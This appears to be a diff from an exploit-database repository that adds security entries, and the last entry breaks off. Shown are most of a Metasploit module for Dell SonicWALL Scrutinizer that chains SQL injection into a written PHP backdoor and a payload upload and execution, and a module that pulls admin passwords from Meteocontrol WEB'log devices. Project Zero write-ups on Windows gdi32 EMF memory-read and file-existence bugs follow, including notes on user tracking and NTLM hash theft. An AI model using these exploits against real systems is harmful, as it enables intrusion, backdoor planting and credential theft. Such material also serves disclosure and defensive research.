'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'win',
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Dell SonicWALL Scrutinizer 11.01 Linux Appliance',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Jul 24 2014',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Base Application path", "/" ]),
|
||||||
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
|
||||||
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin' ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Prints a message with the target's IP and port.
|
||||||
|
#
|
||||||
|
# @param msg [String] Message to print.
|
||||||
|
# @return [void]
|
||||||
|
def print_status(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Prints an error message with the target's IP and port.
|
||||||
|
#
|
||||||
|
# @param msg [String] Message to print.
|
||||||
|
# @return [void]
|
||||||
|
def print_error(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Pads NULL columns for a SQL injection string.
|
||||||
|
#
|
||||||
|
# @param n [Fixnum] Number of nulls
|
||||||
|
# @return [String]
|
||||||
|
def pad_null(n)
|
||||||
|
padding = []
|
||||||
|
|
||||||
|
n.times do
|
||||||
|
padding << 'NULL'
|
||||||
|
end
|
||||||
|
|
||||||
|
padding * ','
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Checks (explicitly) the target for the vulnerability. To be able to check this, a
|
||||||
|
# valid username/password is required.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = do_login
|
||||||
|
rescue Msf::Exploit::Failed => e
|
||||||
|
vprint_error(e.message)
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
uid = res['userid']
|
||||||
|
sid = res['sessionid']
|
||||||
|
pattern = Rex::Text.rand_text_alpha(10)
|
||||||
|
sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
|
||||||
|
res = do_sqli(sqli_str, sid, uid).get_json_document
|
||||||
|
return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the OS information by using @@version_compile_os.
|
||||||
|
#
|
||||||
|
# @param sid [String] Session ID.
|
||||||
|
# @param uid [String] User ID.
|
||||||
|
# @return [String] The OS information.
|
||||||
|
def get_os(sid, uid)
|
||||||
|
sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}"
|
||||||
|
res = do_sqli(sqli_str, sid, uid).get_json_document
|
||||||
|
res['id']
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns target's d4d directory path that will be used to upload our malicious files.
|
||||||
|
#
|
||||||
|
# @param os [String] OS information.
|
||||||
|
# @return [String]
|
||||||
|
def get_d4d_path(os)
|
||||||
|
case os
|
||||||
|
when WINDOWS
|
||||||
|
# On Windows, the full d4d path looks something like this:
|
||||||
|
# C:\Program Files\Scrutinizer\html\d4d
|
||||||
|
'../../html/d4d'
|
||||||
|
when LINUX
|
||||||
|
# On the Linux appliance, the d4d path looks exactly like this:
|
||||||
|
'/home/plixer/scrutinizer/html/d4d'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Logs into Dell SonicWALL Scrutinizer.
|
||||||
|
#
|
||||||
|
# @return [Hash] JSON response.
|
||||||
|
def do_login
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'),
|
||||||
|
'vars_get' => {
|
||||||
|
'name' => datastore['USERNAME'],
|
||||||
|
'pwd' => datastore['PASSWORD']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.')
|
||||||
|
end
|
||||||
|
|
||||||
|
res = res.get_json_document
|
||||||
|
|
||||||
|
if res['noldapnouser']
|
||||||
|
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
|
||||||
|
elsif res['loginfailed']
|
||||||
|
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
|
||||||
|
end
|
||||||
|
|
||||||
|
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Saves a valid username/password to database.
|
||||||
|
#
|
||||||
|
# @param username [String]
|
||||||
|
# @param password [String]
|
||||||
|
# @return [void]
|
||||||
|
def report_cred(username, password)
|
||||||
|
service_data = {
|
||||||
|
address: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: ssl ? 'https' : 'http',
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
module_fullname: self.fullname,
|
||||||
|
origin_type: :service,
|
||||||
|
username: username,
|
||||||
|
private_data: password,
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Injects malicious SQL string to the methodDetail parameter against the target machine.
|
||||||
|
#
|
||||||
|
# @param method_detail [String] Malicious SQL injection string.
|
||||||
|
# @param sid [String] Session ID.
|
||||||
|
# @param uid [String] User ID.
|
||||||
|
# @return [Rex::Proto::Http::Response]
|
||||||
|
def do_sqli(method_detail, sid, uid)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri, '/d4d/exporters.php'),
|
||||||
|
'vars_get' => { 'methodDetail'=> method_detail },
|
||||||
|
'cookie' => "cookiesenabled=1;sessionid=#{sid};userid=#{uid}"
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'The connection timed out for exporters.php.')
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a PHP backdoor that is to be uploaded onto the target machine.
|
||||||
|
#
|
||||||
|
# @param os [String] Target OS information.
|
||||||
|
# @param target_path [String]
|
||||||
|
# @return [String] PHP backdoor
|
||||||
|
def get_php_backdoor(os)
|
||||||
|
case os
|
||||||
|
when WINDOWS
|
||||||
|
chmod_code = %Q|chmod($bname, 0777);|
|
||||||
|
exec_code = %Q|exec($bname);|
|
||||||
|
when LINUX
|
||||||
|
chmod_code = %Q|chmod("./" . $bname, 0777);|
|
||||||
|
exec_code = %Q|exec("./" . $bname);|
|
||||||
|
end
|
||||||
|
|
||||||
|
%Q|<?php
|
||||||
|
$bname = basename( $_FILES['uploadedfile']['name']);
|
||||||
|
$target_path = "./" . $bname;
|
||||||
|
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path);
|
||||||
|
#{chmod_code}
|
||||||
|
#{exec_code}
|
||||||
|
?>
|
||||||
|
|.gsub(/\x20{4}/, ' ')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Uploads the executable payload via malicious PHP backdoor.
|
||||||
|
#
|
||||||
|
# @param backdoor_fname [String] Name of the backdoor
|
||||||
|
# @param payload_fname [String] Name of the executable payload
|
||||||
|
# @return [void]
|
||||||
|
def upload_payload(backdoor_fname, payload_fname)
|
||||||
|
p = generate_payload_exe(
|
||||||
|
code: payload.encoded,
|
||||||
|
platform: @my_target.platform,
|
||||||
|
arch: @my_target.arch
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("Uploading #{payload_fname} (#{p.length} bytes)...")
|
||||||
|
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(
|
||||||
|
p,
|
||||||
|
'application/octet-stream',
|
||||||
|
'binary',
|
||||||
|
"form-data; name=\"uploadedfile\"; filename=\"#{payload_fname}\""
|
||||||
|
)
|
||||||
|
data = post_data.to_s
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri, "/d4d/#{backdoor_fname}"),
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||||
|
'data' => data
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
# Here we are not using fail_with, because when we get a session, it seems to be creating
|
||||||
|
# the same effect as connection hanging... and then eventually times out. If that
|
||||||
|
# happens, a fail_with() can cause msfconsole to believe there is no session created.
|
||||||
|
vprint_status('Connection timed out while uploading payload.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 404
|
||||||
|
fail_with(Failure::Unknown, "Server returned 404 for #{backdoor_fname}.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Uploads the PHP backdoor onto the target machine. The reason of using a PHP backdoor to upload
|
||||||
|
# is because our SQL injection is in a GET method, and Apache has a max length of 8190 bytes,
|
||||||
|
# which is bad for some built-in or custom payloads.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :d4d_path
|
||||||
|
# @option opts [String] :backdoor_fname
|
||||||
|
# @option opts [String] :payload_fname
|
||||||
|
# @option opts [String] :sid
|
||||||
|
# @option opts [String] :uid
|
||||||
|
# @option opts [String] :os
|
||||||
|
# @return [void]
|
||||||
|
def upload_php_backdoor(opts)
|
||||||
|
d4d_path = opts[:d4d_path]
|
||||||
|
backdoor_fname = opts[:backdoor_fname]
|
||||||
|
payload_fname = opts[:payload_fname]
|
||||||
|
sid = opts[:sid]
|
||||||
|
uid = opts[:uid]
|
||||||
|
os = opts[:os]
|
||||||
|
|
||||||
|
print_status("Injecting a PHP upload backdoor (#{backdoor_fname})...")
|
||||||
|
hex_backdoor = get_php_backdoor(os).unpack("H*")[0]
|
||||||
|
sqli_str = "-6045 UNION ALL SELECT 0x#{hex_backdoor},#{pad_null(19)} INTO DUMPFILE '#{d4d_path}/#{backdoor_fname}' #"
|
||||||
|
do_sqli(sqli_str, sid, uid)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Attempts a SQL injection attack against the target machine.
|
||||||
|
#
|
||||||
|
# @param os [String] OS information.
|
||||||
|
# @param sid [String] Session ID.
|
||||||
|
# @param uid [String] User ID.
|
||||||
|
# @return [void]
|
||||||
|
def do_backdoor_sqli(os, sid, uid)
|
||||||
|
backdoor_fname = "#{Rex::Text.rand_text_alpha(6)}.php"
|
||||||
|
payload_fname = Rex::Text.rand_text_alpha(5)
|
||||||
|
payload_fname << '.exe' if @my_target['Platform'].match(WINDOWS)
|
||||||
|
d4d_path = get_d4d_path(os)
|
||||||
|
|
||||||
|
register_files_for_cleanup(backdoor_fname, payload_fname)
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
d4d_path: d4d_path,
|
||||||
|
backdoor_fname: backdoor_fname,
|
||||||
|
payload_fname: payload_fname,
|
||||||
|
sid: sid,
|
||||||
|
uid: uid,
|
||||||
|
os: os
|
||||||
|
}
|
||||||
|
|
||||||
|
upload_php_backdoor(opts)
|
||||||
|
upload_payload(backdoor_fname, payload_fname)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Tries to set the target. If the user manually set one, then avoid automatic target.
|
||||||
|
#
|
||||||
|
# @param os [String] OS information.
|
||||||
|
# @return [void]
|
||||||
|
def try_set_target(os)
|
||||||
|
@my_target = target if target != targets[0]
|
||||||
|
case os
|
||||||
|
when WINDOWS
|
||||||
|
@my_target = targets[1]
|
||||||
|
when LINUX
|
||||||
|
@my_target = targets[2]
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, 'Unsupported target')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Exploits the target machine. To do this, first we must log into the system in order to obtain
|
||||||
|
# the user ID and session ID. After logging in, we can ask the vulnerable code to upload a
|
||||||
|
# malicious PHP backdoor, and then finally use that backdoor to upload and execute our payload.
|
||||||
|
def exploit
|
||||||
|
res = do_login
|
||||||
|
uid = res['userid']
|
||||||
|
sid = res['sessionid']
|
||||||
|
os = get_os(sid, uid)
|
||||||
|
print_status("Detected OS information: #{os}")
|
||||||
|
try_set_target(os)
|
||||||
|
do_backdoor_sqli(os, sid, uid)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
141
platforms/multiple/webapps/39822.rb
Executable file
141
platforms/multiple/webapps/39822.rb
Executable file
|
@ -0,0 +1,141 @@
|
||||||
|
# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
|
||||||
|
# Discovered by: Karn Ganeshen
|
||||||
|
# Vendor Homepage: [http://www.meteocontrol.com/en/]
|
||||||
|
# Versions Reported: [All Meteocontrol WEB'log versions]
|
||||||
|
# CVE-ID: [CVE-2016-2296]
|
||||||
|
|
||||||
|
# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]
|
||||||
|
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Meteocontrol WEBLog Password Extractor',
|
||||||
|
'Description' => %{
|
||||||
|
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.
|
||||||
|
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
|
||||||
|
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
unless is_app_metweblog?
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
do_extract
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Check if App is Meteocontrol WEBlog
|
||||||
|
#
|
||||||
|
|
||||||
|
def is_app_metweblog?
|
||||||
|
begin
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/html/en/index.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||||
|
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
|
||||||
|
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract Administrator Password
|
||||||
|
#
|
||||||
|
|
||||||
|
def do_extract()
|
||||||
|
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
|
||||||
|
begin
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/html/en/confAccessProt.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||||
|
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||||
|
return :abort
|
||||||
|
end
|
||||||
|
|
||||||
|
if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
|
||||||
|
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
|
||||||
|
admin_password = get_admin_password[1]
|
||||||
|
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
|
||||||
|
report_cred(
|
||||||
|
ip: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: 'Meteocontrol WEBlog Management Portal',
|
||||||
|
password: admin_password,
|
||||||
|
proof: res.body
|
||||||
|
)
|
||||||
|
else
|
||||||
|
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
|
||||||
|
print_error("Password not found. Check login manually.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
last_attempted_at: Time.now,
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
118
platforms/windows/dos/39832.txt
Executable file
118
platforms/windows/dos/39832.txt
Executable file
|
@ -0,0 +1,118 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=722
|
||||||
|
|
||||||
|
There are multiple programming errors in the implementation of the CREATECOLORSPACEW record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's). Another bug may also lead to disclosure of information regarding the existence of arbitrary files in the file system.
|
||||||
|
|
||||||
|
Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- Out-of-bounds read of EMR_CREATECOLORSPACEW.cbData in MRCREATECOLORSPACEW::bCheckRecord
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The MRCREATECOLORSPACEW::bCheckRecord() function starts off by checking if the length of the record is greater or equal than 0x50 (80):
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DB01AEF mov eax, [esi+4]
|
||||||
|
.text:7DB01AF2 cmp eax, 50h
|
||||||
|
.text:7DB01AF5 jb short loc_7DB01B1E
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
and then immediately proceeds to reading the .cbData field at offset 0x25c (604):
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DB01AF7 mov ecx, [esi+25Ch]
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Since the record is not guaranteed to be large enough to hold the value at +0x25c, the instruction shown above can read beyond the allocated buffer. The attached oob.emf file illustrates this issue.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- Integer overflow when checking EMR_CREATECOLORSPACEW.cbData in MRCREATECOLORSPACEW::bCheckRecord
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Furthermore, the value obtained from offset +0x25c is also used to verify the record length, as part of the (record.length <= ((record->cbData + 0x263) & 0xfffffffc)) expression:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DB01AF7 mov ecx, [esi+25Ch]
|
||||||
|
.text:7DB01AFD add ecx, 263h
|
||||||
|
.text:7DB01B03 and ecx, 0FFFFFFFCh
|
||||||
|
.text:7DB01B06 cmp eax, ecx
|
||||||
|
.text:7DB01B08 ja short loc_7DB01B1E
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Since there is no overflow check in the arithmetic operation, if the cbData field is sufficiently large, it may overflow the 32-bit type. It is not clear, however, why the record length is required to be *smaller* than the structure's field in the first place (intuitively, it should be larger). Whether this is a mistake or not doesn't really seem to matter, as the optional color space data is not used further in the MRCREATECOLORSPACEW::bPlay() function anyway.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- Out-of-bounds read in CreateColorSpaceW
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The LOGCOLORSPACEW structure passed to CreateColorSpaceW() by MRCREATECOLORSPACEW::bPlay() is assumed to be at least 0x24c (588) bytes long. However, as we've seen before, the record is only guaranteed to be at least 80 bytes long. As a result, in case of a specially crafted small record, the CreateColorSpaceW() function could operate on data well beyond the record's buffer. The memory from outside the buffer could then be potentially recovered by reading back pixels using the HTML5 canvas API, and deriving the uninitialized values of the LOGCOLORSPACEW structure.
|
||||||
|
|
||||||
|
The attached oob.emf file also illustrates this issue (in terms of passing OOB heap data to CreateColorSpaceW), provided that the out-of-bounds .cbData check passes successfully in MRCREATECOLORSPACEW::bCheckRecord(), but this is very likely as there are only a few specific values of .cbData which could cause it to fail.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- File existence information disclosure in CreateColorSpaceW
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
This is perhaps the most interesting bug found in the handling of the CREATECOLORSPACEW / CREATECOLORSPACE EMF records. After being passed a specially crafted LOGCOLORSPACEW structure, the CreateColorSpaceW() function builds a file path based on the LOGCOLORSPACEW.lcsFilename field, using the BuildIcmProfilePath() routine:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DAEF12E push 104h ; cchDest
|
||||||
|
.text:7DAEF133 lea eax, [ebp+FileName]
|
||||||
|
.text:7DAEF139 push eax ; pszDest
|
||||||
|
.text:7DAEF13A push ebx ; pszSrc
|
||||||
|
.text:7DAEF13B call _BuildIcmProfilePath@12 ; BuildIcmProfilePath(x,x,x)
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
While paths starting with "\\" are forbidden (limiting access to remote or internal system resources), all other paths, including absolute ones, are allowed. The function then attempts to open the file in order to make sure that it exists, and if this succeeds, the resulting handle is immediately closed:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
hFile = CreateFileW(&FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||||
|
if ( hFile == INVALID_HANDLE_VALUE )
|
||||||
|
{
|
||||||
|
GdiSetLastError(2016);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
CloseHandle(hFile);
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Only if the file exists, the code proceeds to invoking the NtGdiCreateColorSpace system call, which creates a Color Space GDI object based on the input structure. This behavior can be used to disclose information regarding the existence of specific (attacker-chosen) files in the file system through applications (GDI client) which enable the propagation of rendered image's pixels back to the attacker, such as the Internet Explorer web browser.
|
||||||
|
|
||||||
|
The most intuitive way of propagating the result of the CreateFileW() call would be to insert a crafted CREATECOLORSPACEW record in the EMF file, followed by actual drawing primitives. If the color space creation failed (due to a non-existent file), the remainder of the image wouldn't get parsed and displayed, which could then be easily detected in JavaScript. Unfortunately, the idea is blocked in practice by the fact that even if any of the particular EMF record handlers fail, the gdi32!bInternalPlayEMF function only sets a local "status" variable to FALSE, and continues handling subsequent records nevertheless. The status variable is then returned to the caller, but in case of Internet Explorer, it is immediately discarded in the mshtml!CImgTaskEmf::Decode function:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:64162B49 call ds:__imp__PlayEnhMetaFile@12 ; PlayEnhMetaFile(x,x,x)
|
||||||
|
.text:64162B4F or dword ptr [ebx+7Ch], 0FFFFFFFFh
|
||||||
|
.text:64162B53 lea eax, [esp+4C8h+var_49C]
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
As a result, the return value of the CreateFileW() call is completely lost and cannot be inferred directly. Instead, a different, indirect approach must be applied, based on the side effects of the CREATECOLORSPACE record handling. When a color space is created, a corresponding GDI handle is created for the process and stored in the EMF handle table. Considering that the default per-process GDI handle quota is set at 10'000, it is feasible to exhaust it by creating an excessive number of objects. The exploit image could be crafted as follows:
|
||||||
|
|
||||||
|
1. EMR_HEADER
|
||||||
|
2. EMR_CREATECOLORSPACE (containing the file system path to examine)
|
||||||
|
3. EMR_CREATECOLORSPACE
|
||||||
|
.
|
||||||
|
.
|
||||||
|
.
|
||||||
|
10001. EMR_CREATECOLORSPACE
|
||||||
|
10002. EMR_CREATEBRUSHINDIRECT
|
||||||
|
10003. EMR_SELECTOBJECT
|
||||||
|
10004. EMR_POLYGON
|
||||||
|
10005. EMR_EOF
|
||||||
|
|
||||||
|
If the file path specified in the 10000 EMR_CREATECOLORSPACE records exists, the GDI handle space will be filled up, causing the brush creation in step #10002 to fail, and thus the polygon drawn in step #10004 to not have any color. On the other hand, if the file doesn't exist, none of the color spaces will be created, allowing the creation of a brush, which will then be used to draw a colored polygon. When such an image is loaded over a HTML5 canvas, JavaScript can then read the pixels back using canvas.getImageData(), which is synonymous to the existence (or lack) of the chosen file.
|
||||||
|
|
||||||
|
The attached notepad_leak.emf file illustrates the bug. When it is loaded in Internet Explorer in its original form (checking for the existence of C:\Windows\notepad.exe), the edges of the polygon (rectangle) are visible, but there is no fill color. The IE renderer process should have 10'000 GDI handles opened, which can be verified with Task Manager, Process Explorer, or e.g. by trying to use the context menu within the website's window area (it will misbehave due to lack of available GDI handles). When all instances of the "C:\Windows\notepad.exe" string are replaced with a non-existent (but same length, to preserve metadata correctness) path in the POC file, Internet Explorer will correctly display the green polygon fill, and won't hold an excessive number of handles.
|
||||||
|
|
||||||
|
James Forshaw noted that the check in BuildIcmProfilePath() against the "\\" prefix (or, in fact, against both '\' and '/' in the first two characters) is not effective in preventing access to UNC paths, as there is an equivalent "\??\" prefix (tested on Windows 7+), which can be used for the same purpose. This observation further elevates the severity of the "file existence information disclosure" bug, as it is now possible to reference nearly all resources the CreateFile() API is capable of opening. Some example risks are as follows:
|
||||||
|
|
||||||
|
1) By referencing a file on an attacker-controlled server, it is possible to track users opening the crafted EMF file (within any application using GDI, not just Internet Explorer).
|
||||||
|
|
||||||
|
2) Disclosure of the existence of files residing in network shares available to the currently logged in user.
|
||||||
|
|
||||||
|
3) James suggested it might also facilitate stealing NTLM hashes.
|
||||||
|
|
||||||
|
Another note is that the gdi32.dll SETICMPROFILEA and SETICMPROFILEW record handlers also reference the BuildIcmProfilePath() function, so it might be worth doing some light variant analysis to check if any of the path-related problems described in this bug affect those records too.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39832.zip
|
||||||
|
|
126
platforms/windows/dos/39833.txt
Executable file
126
platforms/windows/dos/39833.txt
Executable file
|
@ -0,0 +1,126 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=729
|
||||||
|
|
||||||
|
There are two programming errors in the implementation of the COMMENT_MULTIFORMATS record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's).
|
||||||
|
|
||||||
|
Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- Integer overflow in the sanitization of the EMR_COMMENT_MULTIFORMATS.CountFormats field leading to a heap-based out-of-bounds read
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
When encountering a COMMENT_MULTIFORMATS record, the MRGDICOMMENT::bPlay() function starts off by sanitizing the 32-bit EMR_COMMENT_MULTIFORMATS.CountFormats field, by ensuring the following:
|
||||||
|
|
||||||
|
1) EMR_COMMENT_MULTIFORMATS.CountFormats < 0xFFFFFFF
|
||||||
|
2) 0x28 + (0x10 * EMR_COMMENT_MULTIFORMATS.CountFormats) fits within the EMF record.
|
||||||
|
|
||||||
|
Or, in assembly:
|
||||||
|
|
||||||
|
